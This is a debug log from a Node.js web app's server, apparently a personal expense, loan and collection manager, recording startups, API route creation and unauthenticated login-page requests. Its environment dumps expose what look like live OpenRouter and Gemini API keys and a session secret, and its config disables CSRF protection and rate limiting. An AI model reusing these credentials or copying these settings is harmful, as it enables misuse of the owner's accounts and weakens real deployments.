    'HTTP_X_FORWARDED-FOR': '34.186.188.222',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-20T05:04:02.933Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-20T05:04:03.114Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-20T05:04:03.198Z server-connect:setup:upload Upload middleware configured.
2026-06-20T05:04:03.198Z server-connect:secure CSRF Protection initialized
2026-06-20T05:04:03.200Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-20T05:04:03.202Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-20T05:04:03.202Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-20T05:04:03.203Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-20T05:04:03.203Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-20T05:04:03.204Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-20T05:04:03.205Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-20T05:04:03.205Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-20T05:04:03.208Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-20T05:04:03.209Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-20T05:04:03.209Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-20T05:04:03.209Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-20T05:04:03.210Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-20T05:04:03.210Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-20T05:04:03.210Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-20T05:04:03.211Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-20T05:04:03.211Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-20T05:04:03.211Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-20T05:04:03.212Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-20T05:04:03.212Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-20T05:04:03.212Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-20T05:04:03.213Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-20T05:04:03.213Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-20T05:04:03.213Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-20T05:04:03.213Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-20T05:04:03.214Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-20T05:04:03.214Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-20T05:04:03.214Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-20T05:04:03.214Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-20T05:04:03.214Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-20T05:04:03.215Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-20T05:04:03.215Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-20T05:04:03.215Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-20T05:04:03.215Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-20T05:04:03.215Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-20T05:04:03.216Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-20T05:04:03.216Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-20T05:04:03.216Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-20T05:04:03.315Z server-connect:router Serving templateView /
2026-06-20T05:04:03.317Z server-connect:app Executing action step identify
2026-06-20T05:04:03.317Z server-connect:app options: { provider: 'security' }
2026-06-20T05:04:03.318Z server-connect:auth No login cookie found
2026-06-20T05:04:03.318Z server-connect:output identity: false
2026-06-20T05:04:03.318Z server-connect:app Executing action step restrict
2026-06-20T05:04:03.319Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-20T05:04:03.323Z server-connect:output restrict: undefined
2026-06-20T05:04:06.038Z server-connect:router Serving templateView /login
2026-06-20T05:04:06.038Z server-connect:app Executing action step identify
2026-06-20T05:04:06.038Z server-connect:app options: { provider: 'security' }
2026-06-20T05:04:06.038Z server-connect:auth No login cookie found
2026-06-20T05:04:06.039Z server-connect:output identity: false
2026-06-20T05:04:06.039Z server-connect:router Render template layouts/authentication
2026-06-20T05:04:06.039Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    cookie: 'wssplashchk=6f62b174a807904da6ce2c02257b89f13a1aa995.1781935441.1',
    'x-forwarded-for': '196.196.53.101',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    wssplashchk: '6f62b174a807904da6ce2c02257b89f13a1aa995.1781935441.1'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-21T05:04:06.036Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '196.196.53.101',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-USER': '?1',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'wssplashchk=6f62b174a807904da6ce2c02257b89f13a1aa995.1781935441.1',
    'HTTP_X_FORWARDED-FOR': '196.196.53.101',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-20T05:04:06.082Z server-connect:router Serving templateView /
2026-06-20T05:04:06.082Z server-connect:app Executing action step identify
2026-06-20T05:04:06.082Z server-connect:app options: { provider: 'security' }
2026-06-20T05:04:06.082Z server-connect:auth No login cookie found
2026-06-20T05:04:06.082Z server-connect:output identity: false
2026-06-20T05:04:06.082Z server-connect:app Executing action step restrict
2026-06-20T05:04:06.082Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-20T05:04:06.083Z server-connect:output restrict: undefined
2026-06-20T05:04:06.371Z server-connect:router Serving templateView /login
2026-06-20T05:04:06.371Z server-connect:app Executing action step identify
2026-06-20T05:04:06.371Z server-connect:app options: { provider: 'security' }
2026-06-20T05:04:06.371Z server-connect:auth No login cookie found
2026-06-20T05:04:06.371Z server-connect:output identity: false
2026-06-20T05:04:06.371Z server-connect:router Render template layouts/authentication
2026-06-20T05:04:06.372Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'www.ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'sec-ch-ua-mobile': '?0',
    'sec-ch-ua-platform': '"Windows"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-dest': 'document',
    referer: 'https://www.ems.sanjaychaurasia.xyz/',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9',
    priority: 'u=0, i',
    cookie: 'wssplashchk=6f62b174a807904da6ce2c02257b89f13a1aa995.1781935441.1',
    'x-forwarded-for': '196.196.53.101',
    connection: 'keep-alive',
    'x-forwarded-host': 'www.ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {
    wssplashchk: '6f62b174a807904da6ce2c02257b89f13a1aa995.1781935441.1'
  },
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-21T05:04:06.370Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '196.196.53.101',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'www.ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://www.ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'www.ems.sanjaychaurasia.xyz',
    HTTP_CACHE_CONTROL: 'max-age=0',
    'HTTP_SEC_CH-UA': '"Chromium";v="146", "Not-A.Brand";v="24", "Google Chrome";v="146"',
    'HTTP_SEC_CH-UA-MOBILE': '?0',
    'HTTP_SEC_CH-UA-PLATFORM': '"Windows"',
    'HTTP_UPGRADE_INSECURE-REQUESTS': '1',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36',
    HTTP_ACCEPT: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'navigate',
    'HTTP_SEC_FETCH-DEST': 'document',
    HTTP_REFERER: 'https://www.ems.sanjaychaurasia.xyz/',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9',
    HTTP_PRIORITY: 'u=0, i',
    HTTP_COOKIE: 'wssplashchk=6f62b174a807904da6ce2c02257b89f13a1aa995.1781935441.1',
    'HTTP_X_FORWARDED-FOR': '196.196.53.101',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'www.ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-20T09:05:28.884Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-20T09:05:31.058Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-20T09:05:31.920Z server-connect:setup:upload Upload middleware configured.
2026-06-20T09:05:31.920Z server-connect:secure CSRF Protection initialized
2026-06-20T09:05:31.925Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-20T09:05:31.929Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-20T09:05:31.929Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-20T09:05:31.931Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-20T09:05:31.937Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-20T09:05:31.941Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-20T09:05:31.956Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-20T09:05:31.970Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-20T09:05:31.974Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-20T09:05:31.976Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-20T09:05:31.978Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-20T09:05:31.982Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-20T09:05:31.988Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-20T09:05:31.997Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-20T09:05:32.001Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-20T09:05:32.074Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-20T09:05:32.075Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-20T09:05:32.080Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-20T09:05:32.086Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-20T09:05:32.089Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-20T09:05:32.091Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-20T09:05:32.098Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-20T09:05:32.101Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-20T09:05:32.107Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-20T09:05:32.109Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-20T09:05:32.113Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-20T09:05:32.116Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-20T09:05:32.116Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-20T09:05:32.124Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-20T09:05:32.124Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-20T09:05:32.126Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-20T09:05:32.129Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-20T09:05:32.132Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-06-20T09:05:32.135Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-06-20T09:05:32.140Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-06-20T09:05:32.145Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-06-20T09:05:32.145Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-06-20T09:05:32.155Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-06-20T09:05:32.643Z server-connect:router Serving templateView /
2026-06-20T09:05:32.645Z server-connect:app Executing action step identify
2026-06-20T09:05:32.646Z server-connect:app options: { provider: 'security' }
2026-06-20T09:05:32.648Z server-connect:auth No login cookie found
2026-06-20T09:05:32.648Z server-connect:output identity: false
2026-06-20T09:05:32.648Z server-connect:app Executing action step restrict
2026-06-20T09:05:32.648Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-06-20T09:05:32.651Z server-connect:output restrict: undefined
2026-06-20T09:05:32.760Z server-connect:router Serving templateView /login
2026-06-20T09:05:32.761Z server-connect:app Executing action step identify
2026-06-20T09:05:32.761Z server-connect:app options: { provider: 'security' }
2026-06-20T09:05:32.761Z server-connect:auth No login cookie found
2026-06-20T09:05:32.761Z server-connect:output identity: false
2026-06-20T09:05:32.761Z server-connect:router Render template layouts/authentication
2026-06-20T09:05:32.762Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'user-agent': 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    'accept-encoding': 'gzip',
    'x-forwarded-for': '198.235.24.179',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': [Object: null prototype] {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-06-21T09:05:32.759Z,
      originalMaxAge: 86400000,
      httpOnly: true
    }
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/login',
    QUERY_STRING: undefined,
    REMOTE_ADDR: '198.235.24.179',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/login',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    HTTP_USER_AGENT: 'Hello from Palo Alto Networks, find out more about our scans in https://docs-cortex.paloaltonetworks.com/r/1/Cortex-Xpanse/Scanning-activity',
    HTTP_ACCEPT_ENCODING: 'gzip',
    'HTTP_X_FORWARDED-FOR': '198.235.24.179',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: false,
  content: '/login'
}
2026-06-20T15:23:34.266Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-06-20T15:23:36.537Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-06-20T15:23:37.400Z server-connect:setup:upload Upload middleware configured.
2026-06-20T15:23:37.403Z server-connect:secure CSRF Protection initialized
2026-06-20T15:23:37.409Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-06-20T15:23:37.411Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-06-20T15:23:37.412Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-06-20T15:23:37.412Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-06-20T15:23:37.420Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-06-20T15:23:37.426Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-06-20T15:23:37.436Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-06-20T15:23:37.450Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-06-20T15:23:37.455Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-06-20T15:23:37.456Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-06-20T15:23:37.458Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-06-20T15:23:37.462Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-06-20T15:23:37.468Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-06-20T15:23:37.478Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-06-20T15:23:37.482Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-06-20T15:23:37.553Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-06-20T15:23:37.554Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-06-20T15:23:37.557Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-06-20T15:23:37.564Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-06-20T15:23:37.567Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-06-20T15:23:37.571Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-06-20T15:23:37.577Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-06-20T15:23:37.580Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-06-20T15:23:37.585Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-06-20T15:23:37.588Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-06-20T15:23:37.591Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-06-20T15:23:37.594Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-06-20T15:23:37.594Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-06-20T15:23:37.601Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-06-20T15:23:37.603Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-06-20T15:23:37.605Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-06-20T15:23:37.607Z server-connect:setup:routes Api route /api/test(.json)? created
2026-06-20T15:23:37.611Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
